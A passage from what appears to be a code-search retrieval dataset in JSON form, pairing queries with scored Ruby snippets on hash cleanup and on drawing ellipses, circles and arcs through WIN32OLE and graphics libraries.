end\n end\n end\n end", "title": "" }, { "docid": "df80d0e8ff479e8337419448cdfef497", "score": "0.5500246", "text": "def deep_compact!(hsh)\n raise TypeError unless hsh.is_a? Hash\n\n hsh.each do |_, v|\n deep_compact!(v) if v.is_a? Hash\n end.reject! { |_, v| v.nil? || (v.respond_to?(:empty?) && v.empty?) }\n end", "title": "" }, { "docid": "6c1525898feae991ea0138ec92c20648", "score": "0.54961324", "text": "def checked_keys(params_hash)\n params_hash.reject{ |key, value| value.blank? || value == '0' }.keys\n end", "title": "" }, { "docid": "43441df2b563e2e9cb5c3f6a0415ca63", "score": "0.5492323", "text": "def make_hash item_or_array_or_hash\n return {} if item_or_array_or_hash.nil? \n return strip_nil_keys(item_or_array_or_hash) if item_or_array_or_hash.kind_of?(Hash)\n hash = {}\n [item_or_array_or_hash].flatten.each do |element| \n unless element.nil?\n hash[element] = block_given? ? yield(element) : nil\n end\n end\n hash\n end", "title": "" }, { "docid": "1cc3cfcd141550485b8bc50ffdfbdb30", "score": "0.54744035", "text": "def empty?\n to_h.tap { |changes| changes.delete(:identifier) }.empty?\n end", "title": "" }, { "docid": "429492b87627e08b066823eb11c7b692", "score": "0.54734486", "text": "def empty?\n @hash.empty?\n end", "title": "" }, { "docid": "429492b87627e08b066823eb11c7b692", "score": "0.54734486", "text": "def empty?\n @hash.empty?\n end", "title": "" }, { "docid": "1d92eb77a133e2652f65cd1b00f09c7c", "score": "0.54701114", "text": "def serializable_hash(*)\n\n excludes = ['id', 'created_at', 'updated_at', 'from_searcher', 'searcher_key']\n output = super.except(*excludes)\n output.merge!(search_data) if search_data\n\n # Flatten the extra data fields into output\n return output\n\n end", "title": "" }, { "docid": "3e92ead69ed6fe09e046d999cf28925a", "score": "0.5450834", "text": "def to_jaxb_json_hash\n _h = super\n _h['emailId'] = emailId.to_jaxb_json_hash unless emailId.nil?\n _h['type'] = type.to_jaxb_json_hash unless type.nil?\n _h['value'] = value.to_jaxb_json_hash unless value.nil?\n _h['primary'] = primary.to_jaxb_json_hash unless primary.nil?\n return _h\n end", "title": "" }, { "docid": "b9bb7be136e515abf9b60f7b67302bc5", "score": "0.54414344", "text": "def test_Hash_InstanceMethods_empty?\n\t\tassert_equal(true, {}.empty?)\n\t\tassert_equal(false, {'b'=>1}.empty?)\n\tend", "title": "" }, { "docid": "ea7c0f5d9521ac971a56ef4a34b45e5d", "score": "0.5441177", "text": "def serializable_hash(options = T.unsafe(nil)); end", "title": "" }, { "docid": "d7c557bab5a83a74389b0a26b0c79398", "score": "0.54409415", "text": "def deep_clean(data)\r\n proc = Proc.new { |k, v|\r\n if v.kind_of?(Hash) && !v.empty?\r\n v.delete_if(&proc)\r\n nil\r\n end\r\n v.nil? || v.empty?\r\n }\r\n hash.delete_if(&proc)\r\n end", "title": "" }, { "docid": "0b4dc2b2bb1f394c3001198b8e7218b3", "score": "0.5435561", "text": "def to_h\n Hash[all_entries]\n end", "title": "" }, { "docid": "5d482d05af5dbefb9a24efcaee947903", "score": "0.5431103", "text": "def delempty(thing)\n if thing.respond_to?(:delete_if)\n if thing.kind_of? Hash\n thing.delete_if{|k,v| v.nil? || isempty(delempty(v)) || isempty(v)}\n else # assume single element iterable\n thing.delete_if{|elem| elem.nil? || isempty(delempty(elem)) || isempty(elem)}\n end\n end\n thing\n end", "title": "" } ]
5f00183326bb1922e67f25547683a2c9
_EllipseElement CreateEllipseElement1 _Element arg0 Template [IN] Point3d arg1 PerimeterPoint1 [IN/OUT] Point3d arg2 PerimeterPoint2 [IN/OUT] Point3d arg3 PerimeterPoint3 [IN/OUT] MsdFillMode arg4 FillMode [IN] ( = 1)
[ { "docid": "9dd8716495d6a29adcbfa1e66ab5b7f5", "score": "0.78608084", "text": "def CreateEllipseElement1(arg0, arg1, arg2, arg3, arg4 = nil)\n ret = _invoke(1610743979, [arg0, arg1, arg2, arg3, arg4], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" } ]
[ { "docid": "c202d565a6e90fea30d2522ed9ddf5dd", "score": "0.7793515", "text": "def CreateEllipseElement2(arg0, arg1, arg2, arg3, arg4, arg5 = nil)\n ret = _invoke(1610743980, [arg0, arg1, arg2, arg3, arg4, arg5], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_R8, VT_R8, VT_BYREF | VT_DISPATCH, VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "8022c52011bd7812090b017179892b44", "score": "0.66849864", "text": "def Ellipse3dFromEllipticalElement(arg0)\n ret = _invoke(1610744130, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "aa1e3355079d408e7523a568fe6c86b0", "score": "0.6497061", "text": "def CreateEllipticalElement1(arg0, arg1, arg2 = nil)\n ret = _invoke(1610744129, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "e54a6239a19bceac917bcd3b09f926c9", "score": "0.63547736", "text": "def drawEllipse _obj, _args\n \"_obj drawEllipse _args;\" \n end", "title": "" }, { "docid": "33ff809e2a5d41e54ed97c46f8f1248f", "score": "0.6350204", "text": "def drawEllipse(x,y,rx,ry,fillp=false,color=\"black\")\n @device.drawEllipse(x,y,rx,ry,fillp,color) ;\n end", "title": "" }, { "docid": "4a9fb6b705332e2fc7c61d862e57c49a", "score": "0.62651527", "text": "def ellipse(*args)\n Ellipse.new(self, *args)\n end", "title": "" }, { "docid": "f86150aea2f784349710fc7b4c619238", "score": "0.609659", "text": "def circle(id, x:0, y:0, r:0.5, **attrs)\n attrs.update(width:r*2, height:r*2)\n ellipse(id, x:x, y:y, **attrs)\n end", "title": "" }, { "docid": "1a961b7a46d15fc365f443e177f490d6", "score": "0.6056224", "text": "def ellipse(x, y, rx, ry, options={})\n cur_page.ellipse(x, y, rx, ry, options)\n end", "title": "" }, { "docid": "2205c61c5800b211958a7be47e16ea17", "score": "0.5945533", "text": "def ellipse x, y, w, h, c, fill = false\n screen.draw_ellipse x, y, w, h, color[c], fill, :antialiased\n end", "title": "" }, { "docid": "89c8458de1d470f1ef07706e8a447951", "score": "0.58915085", "text": "def ellipse x, y, w, h, c, fill = false\n screen.draw_ellipse x, self.h-y, w, h, color[c], fill, :antialiased\n end", "title": "" }, { "docid": "f40e56456d1540547beefcec94460ef9", "score": "0.5865057", "text": "def ConstructCirclesTangentToThreeElements(arg0, arg1, arg2, arg3, arg4 = nil, arg5 = nil)\n ret = _invoke(1610744131, [arg0, arg1, arg2, arg3, arg4, arg5], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_DISPATCH, VT_I4])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "b94cd596268d27710b5375646254e9b6", "score": "0.58260316", "text": "def CreateConeElement2(arg0, arg1, arg2, arg3)\n ret = _invoke(1610743985, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "19b11d59ff3d51ebc33079b343fb6fe1", "score": "0.57965934", "text": "def CreateConeElement1(arg0, arg1, arg2, arg3, arg4, arg5)\n ret = _invoke(1610743984, [arg0, arg1, arg2, arg3, arg4, arg5], [VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "39f75fcb301ae8a65fd2dbf5247ca842", "score": "0.57862717", "text": "def fill_ellipse(x:, y:, xradius:, yradius:, sectors: 30, color: nil, colour: nil)\n clr = color || colour\n clr = Color.new(clr) unless clr.is_a? Color\n ext_fill_ellipse([\n x, y, xradius, yradius, sectors,\n clr.r, clr.g, clr.b, clr.a\n ])\n update_texture if @update\n end", "title": "" }, { "docid": "b75c88c851a10b5f1578d915c7a3e1b7", "score": "0.5701434", "text": "def CreateArcElement5(arg0, arg1, arg2, arg3)\n ret = _invoke(1610744128, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_R8, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "fb7ca54948afaab4c3cd979c1a144641", "score": "0.55965036", "text": "def CreateArcElement1(arg0, arg1, arg2, arg3)\n ret = _invoke(1610743976, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "97a5e4ee7f9c134578be2e7a9ee05967", "score": "0.55784726", "text": "def CreateArcElement3(arg0, arg1, arg2, arg3)\n ret = _invoke(1610744059, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "ee75eb59acf0af8cea54f3da0fc6472e", "score": "0.55678445", "text": "def CreateShapeElement1(arg0, arg1, arg2 = nil)\n ret = _invoke(1610743983, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_ARRAY | VT_DISPATCH, VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "d9568fe2284251f0dc7cee9762cd8f07", "score": "0.5567331", "text": "def add_element(list, multi)\n\t\tel_class = list.length == 1 ? :point :\n\t\t\t(!multi ? :path : (list.length == 2 ? :line : :ellipse))\n\t\treturn [el_class, list.dup]\n\tend", "title": "" }, { "docid": "d9568fe2284251f0dc7cee9762cd8f07", "score": "0.5567331", "text": "def add_element(list, multi)\n\t\tel_class = list.length == 1 ? :point :\n\t\t\t(!multi ? :path : (list.length == 2 ? :line : :ellipse))\n\t\treturn [el_class, list.dup]\n\tend", "title": "" }, { "docid": "c1d25925e369cea97d7b2eab430752bc", "score": "0.5553097", "text": "def draw_circle(pt, radius, color)\n # @draw.stroke('transparent')\n @draw.stroke(color)\n @draw.fill(color)\n @draw.ellipse(pt[0], pt[1], radius, radius, 0, 360)\n end", "title": "" }, { "docid": "cdb47877ca627d5feb662f919f1fd4e7", "score": "0.55477726", "text": "def set(*args)\n case args.size\n when 0\n cx, cy, rx, ry = 0, 0, 0, 0\n when 1\n arg, = args\n case arg\n when MACL::Geometry::Ellipse\n cx, cy, rx, ry = arg.cx, arg.cy, arg.radius_x, arg.radius_y\n when Hash\n cx, cy, rx, ry = arg[:cx], arg[:cy], arg[:radius_x], arg[:radius_y]\n when Array\n cx, cy, rx, ry = *arg\n else\n raise(TypeError,\n \"expected Array, Hash or MACL::Geometry::Oval but received %s\" %\n arg.class.name)\n end\n when 4\n cx, cy = args[0] || self.cx, args[1] || self.cy\n rx, ry = args[2] || self.radius_x, args[3] || self.radius_y\n else\n raise(ArgumentError, \"expected 0, 1 or 4 arguments but received %s\" %\n args.size)\n end\n self.radius_x, self.radius_y = rx, ry\n self.cx, self.cy = cx, cy\n self\n end", "title": "" }, { "docid": "7eac2ce70f8dce954b62984aaabf57fc", "score": "0.5540435", "text": "def CreateComplexShapeElement1(arg0, arg1 = nil)\n ret = _invoke(1610743986, [arg0, arg1], [VT_BYREF | VT_ARRAY | VT_BYREF | VT_DISPATCH, VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "44ed5e7bdbb4387cc65634e5de37aeb4", "score": "0.5514512", "text": "def ellipse_filled(x, y, rx, ry)\n\t\t@screen.drawAAFilledEllipse x, y, rx, ry, @color_fg\n\tend", "title": "" }, { "docid": "0696adef4eb97aa80471582b191b3b44", "score": "0.5512925", "text": "def setup\n size 200, 200 \n # Set CENTER mode\n ellipse_mode CENTER \n rect_mode CENTER \nend", "title": "" }, { "docid": "ffbb647cf887e3135167093da666228e", "score": "0.5512891", "text": "def CreateArcElement4(arg0, arg1, arg2)\n ret = _invoke(1610744127, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "e009271136c6d06509fe4a58953bf65f", "score": "0.5460611", "text": "def draw_dot(center_x, center_y, radius, color, image)\n circle = Magick::Draw.new\n circle.stroke_linecap('round')\n circle.stroke_linejoin('round')\n circle.stroke('black')\n circle.fill(color)\n circle.ellipse(center_x, center_y, radius, radius, 0, 360)\n circle.draw(image)\nend", "title": "" }, { "docid": "3b2becc2434950d7393a1a7c8af3778a", "score": "0.54566014", "text": "def CreateArcElement2(arg0, arg1, arg2, arg3, arg4, arg5, arg6)\n ret = _invoke(1610743977, [arg0, arg1, arg2, arg3, arg4, arg5, arg6], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_R8, VT_R8, VT_BYREF | VT_DISPATCH, VT_R8, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "a579eac1bc657236a40069630a0e09d1", "score": "0.5454847", "text": "def do_draw(circle, points, canvas)\r\n draw = Magick::Draw.new\r\n\r\n draw.fill('light gray')\r\n draw.ellipse(scale(circle.center.x), \r\n scale(circle.center.y), \r\n circle.radius * @height/2, \r\n circle.radius * @height/2, \r\n 0, 360)\r\n\r\n draw.fill('red')\r\n draw.fill_opacity('65%')\r\n for pt in points\r\n draw.ellipse(scale(pt.x), \r\n scale(pt.y), \r\n @small_circle_radii, @small_circle_radii, 0, 360)\r\n end\r\n draw.draw(canvas)\r\n end", "title": "" }, { "docid": "78d9197773e491e0e5c378901411804b", "score": "0.5421922", "text": "def CreateComplexShapeElement2(arg0, arg1 = nil, arg2 = nil)\n ret = _invoke(1610744136, [arg0, arg1, arg2], [VT_BYREF | VT_ARRAY | VT_BYREF | VT_DISPATCH, VT_DISPATCH, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "0c2ab77cc1052e5de4cd281393fbb39b", "score": "0.5403773", "text": "def oval(x=0, y=0, w=20, h=20, reg=@registration)\n # center the oval\n if (reg == :center)\n x = x - w / 2\n y = y - w / 2\n end\n CGContextAddEllipseInRect(@ctx, NSMakeRect(x, y, w, h))\n CGContextDrawPath(@ctx, KCGPathFillStroke) # apply fill and stroke\n end", "title": "" }, { "docid": "006e04b75d41c5a21007bbd202260068", "score": "0.53786314", "text": "def add_circle(center, normal, radius, numsegs = 24)\n end", "title": "" }, { "docid": "5c562ea08449615344d88e5a60b3cd21", "score": "0.5354353", "text": "def render_circle(cx, cy, d, color)\n @app.stroke color\n @app.nofill \n @app.oval cx, cy, d\n end", "title": "" }, { "docid": "95e4543ee52e21ebd63b421d16877065", "score": "0.5259702", "text": "def CreateCurveElement1(arg0, arg1)\n ret = _invoke(1610743978, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_ARRAY | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "a8d45b49eda11426907d2b4bfee3b327", "score": "0.5256097", "text": "def fill_circle(x:, y:, radius:, sectors: 30, color: nil, colour: nil)\n clr = color || colour\n clr = Color.new(clr) unless clr.is_a? Color\n ext_fill_ellipse([\n x, y, radius, radius, sectors,\n clr.r, clr.g, clr.b, clr.a\n ])\n update_texture if @update\n end", "title": "" }, { "docid": "39c48926742ac10a6da8f72a6d804477", "score": "0.51821005", "text": "def test_circle_radius_after_creation_with_negative_radius\n radius = nil\n assert_nothing_raised do\n centerpoint = Geom::Point3d.new\n # Create a circle perpendicular to the normal or Z axis\n vector = Geom::Vector3d.new 0,0,1\n vector2 = vector.normalize!\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_circle centerpoint, vector2, -10\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(10, radius,\n 'Failed in test_radius' )\n end", "title": "" }, { "docid": "c79c6b38b1fb45f622b56f7a925182b4", "score": "0.5153241", "text": "def CreateDimensionElement1(arg0, arg1, arg2, arg3 = nil)\n ret = _invoke(1610743988, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "title": "" }, { "docid": "eb83b2edb99314890b0cca5e906c6a44", "score": "0.5121188", "text": "def ellipse?()\n return @type == \"ellipse\"\n end", "title": "" }, { "docid": "e5d7fee45f7cfe70dd5a0e4eb296a9ef", "score": "0.5104991", "text": "def circle(option={})\n set RGhost::Circle.new(options)\n end", "title": "" }, { "docid": "7b36f5d3497036e52f3dab93743ac029", "score": "0.5053081", "text": "def points_for_ellipse(x, y, rx, ry)\n cur_page.points_for_ellipse(x, y, rx, ry)\n end", "title": "" }, { "docid": "81081ed65b2e7665e5a5c3a59456c1ae", "score": "0.5049924", "text": "def mill_hex_pocket(mill, cent_x, cent_y, diam, depth=nil)\r\n#####################################\r\n aPoly = CNCShapePolygon.new(mill, cent_x, cent_y, nil, diam=diam, num_sides=6, depth=depth, degree_inc=nil)\r\n aPoly.do_mill()\r\n return aPoly\r\nend", "title": "" }, { "docid": "3df31b4b3df7fc149e94a4c33ab7fda0", "score": "0.50494945", "text": "def create_diamond(box_y_start, value_x, box_mult, colorstr, params={})\n\n\t\tif(params[:on_side])\n\t\t\tx_offset = 0.35\n\t\t\ty_offset = 0.35\n\t\telse\n\t\t\tx_offset = 0.2\n\t\t\ty_offset = 0.35\n\t\tend\n\t\t\n # establish x coordinates\n x_points = Array.new\n left_x = value_x - @box_size*box_mult * Math.sqrt(2)*x_offset\n right_x = value_x + @box_size*box_mult * Math.sqrt(2)*x_offset\n x_points << (left_x + right_x)/2\n\n x_points << right_x\n x_points << x_points[0]\n x_points << left_x\n\n # establish y coordinates\n y_points = Array.new\n y_points << box_y_start - @box_size*box_mult * Math.sqrt(2) * y_offset\n\t y_points << box_y_start\n y_points << box_y_start + @box_size*box_mult * Math.sqrt(2) * y_offset\n y_points << box_y_start\n return Diamond.new(x_points, y_points, colorstr)\n end", "title": "" }, { "docid": "303c966c527f1c46a00597e6fd96ea68", "score": "0.5048302", "text": "def create_circles(num)\n circle_image = circle_image()\n circles = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_circle(1.0, 10,10, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(SCREEN_WIDTH), rand(40) - 50)\n shape = CP::Shape::Circle.new(body, 10, CP::Vec2.new(0, 0))\n shape.e = 0.4\n shape.u = 0.4\n circles << AObject.new(circle_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return circles\n end", "title": "" }, { "docid": "3913a468d6fb8d660a9cfa4b738b4ff4", "score": "0.50455827", "text": "def create_geometry(pt1, pt2, view)\n model = view.model\n model.start_operation $exStrings.GetString(\"Create Cylinder\")\n entities = model.entities\n \n # First create a circle\n vec = pt2 - pt1\n length = vec.length\n if( length == 0.0 )\n UI.beep\n puts \"Cannot create a zero length cylinder\"\n return\n end\n circle = entities.add_circle pt1, vec, @radius, @numsegs\n\n # Now do a pushpull to create the cylinder\n face = entities.add_face circle\n normal = face.normal\n length = -length if( (normal % vec) < 0.0 )\n face.pushpull length\n\n model.commit_operation\nend", "title": "" }, { "docid": "d67c89fa91ff1af3f68c80dc65eb0413", "score": "0.49676222", "text": "def add_outer_radius(p, outerRadius, angle)\r\n res = Geom::Point3d.new(p[0] + Math.cos(angle * Math::PI) * outerRadius, \r\n p[1] + Math.sin(angle * Math::PI) * outerRadius, \r\n 0)\r\n return res\r\nend", "title": "" }, { "docid": "5d4e254a9071196e96ce9f0e2f1763a4", "score": "0.4963413", "text": "def circle(cx, cy, r, options = {})\n options = CIRCLE_OPTIONS.merge(options)\n\n \"<circle cx=\\\"#{cx}\\\" cy=\\\"#{cy}\\\" r=\\\"#{r}\\\"\n style=\\\"fill:#{options[:fill]};stroke:#{options[:stroke]};\n stroke-width:#{options[:stroke_width]};\n fill-opacity:#{options[:fill_opacity]};\n stroke-opacity:#{options[:stroke_opacity]};\n stroke-dasharray:#{options[:dasharray]}\\\"/>\"\n end", "title": "" }, { "docid": "b220beada12d16947af4b437f8ea3591", "score": "0.49623924", "text": "def arc_test_easy_array(mill)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n aArc = CNCShapeArc.new(\r\n mill = mill, \r\n x = 1.5,\r\n y = 1.5,\r\n beg_min_radius = 0.65, \r\n beg_max_radius = 0.85,\r\n beg_angle = 0.0, \r\n end_min_radius = 0.65,\r\n end_max_radius = 0.90,\r\n end_angle = 35.0, \r\n depth = -0.2)\r\n\r\n aArc.circ_array()\r\nend", "title": "" }, { "docid": "acc1f6ef27be3913b0d12873c14e1176", "score": "0.4910244", "text": "def circle?()\n return (@height == @width) & (@type == \"ellipse\")\n end", "title": "" }, { "docid": "8e8f1e81f2b1d43420ae1a9fcf5f5e3d", "score": "0.49078122", "text": "def create_ellipsoid(name, semi_major_axis, semi_minor_axis, linear_unit, *optional)\n semi_major_axis = semi_major_axis.to_f\n semi_minor_axis = semi_minor_axis.to_f\n inverse_flattening = semi_major_axis / (semi_major_axis - semi_minor_axis)\n inverse_flattening = 0.0 if inverse_flattening.infinite?\n new(name, semi_major_axis, semi_minor_axis, inverse_flattening, false, linear_unit, *optional)\n end", "title": "" }, { "docid": "42e791982df0718dcd969aa6717b034d", "score": "0.49028093", "text": "def points_on_circle(center, normal, radius, numseg)\r\n # Get the x and y axes\r\n axes = Geom::Vector3d.new(normal).axes\r\n center = Geom::Point3d.new(center)\r\n xaxis = axes[0]\r\n yaxis = axes[1]\r\n \r\n xaxis.length = radius\r\n yaxis.length = radius\r\n\r\n # compute the points\r\n da = (Math::PI * 2) / numseg\r\n pts = []\r\n for i in 0...numseg do\r\n angle = i * da\r\n cosa = Math.cos(angle)\r\n sina = Math.sin(angle)\r\n vec = Geom::Vector3d.linear_combination(cosa, xaxis, sina, yaxis)\r\n pts.push(center + vec)\r\n end\r\n \r\n # close the circle\r\n pts.push(pts[0].clone)\r\n\r\n pts\r\nend", "title": "" }, { "docid": "5cb8e9e1d934837c4b42ff76cc5c8cda", "score": "0.4896065", "text": "def circle(x0, y0, radius, stroke_color = ChunkyPNG::Color::BLACK, fill_color = ChunkyPNG::Color::TRANSPARENT)\n stroke_color = ChunkyPNG::Color.parse(stroke_color)\n fill_color = ChunkyPNG::Color.parse(fill_color)\n\n f = 1 - radius\n dd_f_x = 1\n dd_f_y = -2 * radius\n x = 0\n y = radius\n\n compose_pixel(x0, y0 + radius, stroke_color)\n compose_pixel(x0, y0 - radius, stroke_color)\n compose_pixel(x0 + radius, y0, stroke_color)\n compose_pixel(x0 - radius, y0, stroke_color)\n\n lines = [radius - 1] unless fill_color == ChunkyPNG::Color::TRANSPARENT\n\n while x < y\n\n if f >= 0\n y -= 1\n dd_f_y += 2\n f += dd_f_y\n end\n\n x += 1\n dd_f_x += 2\n f += dd_f_x\n\n unless fill_color == ChunkyPNG::Color::TRANSPARENT\n lines[y] = lines[y] ? [lines[y], x - 1].min : x - 1\n lines[x] = lines[x] ? [lines[x], y - 1].min : y - 1\n end\n\n compose_pixel(x0 + x, y0 + y, stroke_color)\n compose_pixel(x0 - x, y0 + y, stroke_color)\n compose_pixel(x0 + x, y0 - y, stroke_color)\n compose_pixel(x0 - x, y0 - y, stroke_color)\n\n unless x == y\n compose_pixel(x0 + y, y0 + x, stroke_color)\n compose_pixel(x0 - y, y0 + x, stroke_color)\n compose_pixel(x0 + y, y0 - x, stroke_color)\n compose_pixel(x0 - y, y0 - x, stroke_color)\n end\n end\n\n unless fill_color == ChunkyPNG::Color::TRANSPARENT\n lines.each_with_index do |length, y_offset|\n if length > 0\n line(x0 - length, y0 - y_offset, x0 + length, y0 - y_offset, fill_color)\n end\n if length > 0 && y_offset > 0\n line(x0 - length, y0 + y_offset, x0 + length, y0 + y_offset, fill_color)\n end\n end\n end\n\n self\n end", "title": "" }, { "docid": "017b1aad68ff6a5e81a36a9b93315372", "score": "0.4879665", "text": "def draw_piece(x,y,peice)\n co_x, co_y = get_co_x_y(x,y)\n stroke blue\n strokewidth 4\n fill black if peice.color.eql?('black')\n fill white if peice.color.eql?('white')\n oval top: co_y, left: co_x, radius: 40, center:true\nend", "title": "" }, { "docid": "292507231030a3200065691f7df6e324", "score": "0.4854492", "text": "def test_radius_in_arcs\n radius = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = -Math::PI/2\n end_a = 4.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, 5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(5, radius,\n 'Failed in test_radius' )\n end", "title": "" }, { "docid": "5038e42bc77683c97bffcb854548f8b7", "score": "0.48357725", "text": "def circle(*args)\n Circle.new(self, *args)\n end", "title": "" }, { "docid": "1500c63e2af31d9afb88f7f1353c0f2d", "score": "0.4823851", "text": "def add_circle(matrix, *args) # 4 arguments: x, y, z, radius\r\n new = matrix.map {|x| x}\r\n (0..1).step(0.002).to_a.each_cons(2) {|n| # iterates through all values of t in 2's with overlap of elements\r\n i = n.map {|m| m.to_f.truncate(3) } # weird error where stepping by 0.002 is not entirely exact -> truncate the float to 3 decimal places\r\n add_edge(new, args[3] * Math.cos(2 * Math::PI * i[0]) + args[0], \r\n args[3] * Math.sin(2 * Math::PI * i[0]) + args[1], args[2],\r\n args[3] * Math.cos(2 * Math::PI * i[1]) + args[0], \r\n args[3] * Math.sin(2 * Math::PI * i[1]) + args[1], args[2], ) \r\n }\r\n matrix.replace(new)\r\nend", "title": "" }, { "docid": "cddbf75c9ac4f8db574bb38838d4c554", "score": "0.48213345", "text": "def create_ole_point(x, y, z = 0)\n ole = ole_point\n ole.X = x\n ole.Y = y\n ole.Z = z\n ole\n end", "title": "" }, { "docid": "3f3481e44dcb8e6ba39f62dd0ad01d03", "score": "0.48125562", "text": "def nine_point_circle\n # Circle.new(*self.medial.vertices)\n end", "title": "" }, { "docid": "1d0d90efebc6fd106b7d94076b7707de", "score": "0.48060754", "text": "def test_arc_radius_after_creation_with_negative_radius\n radius = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = -Math::PI/2\n end_a = 4.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, -5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(5, radius,\n 'Failed in test_radius' )\n end", "title": "" }, { "docid": "2d0afcb7f52d2e215eae5d4ec7c3d5cd", "score": "0.4789499", "text": "def circle radius, foreground, background\n coords = [-radius, -radius, radius, radius]\n \"oval#{coords.join(\",\")},fc:#{foreground},oc:#{background}\"\nend", "title": "" }, { "docid": "10ec5331ac93cf3aaff01b285c5459d7", "score": "0.47687024", "text": "def put_draw_ellipse_with_http_info(name, page_name, ellipse_data, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DrawApi.put_draw_ellipse ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling DrawApi.put_draw_ellipse\"\n end\n # verify the required parameter 'page_name' is set\n if @api_client.config.client_side_validation && page_name.nil?\n fail ArgumentError, \"Missing the required parameter 'page_name' when calling DrawApi.put_draw_ellipse\"\n end\n # verify the required parameter 'ellipse_data' is set\n if @api_client.config.client_side_validation && ellipse_data.nil?\n fail ArgumentError, \"Missing the required parameter 'ellipse_data' when calling DrawApi.put_draw_ellipse\"\n end\n # resource path\n local_var_path = \"/diagram/{name}/pages/{pageName}/drawEllipse\".sub('{' + 'name' + '}', name.to_s).sub('{' + 'pageName' + '}', page_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(ellipse_data)\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ModifyResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DrawApi#put_draw_ellipse\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: 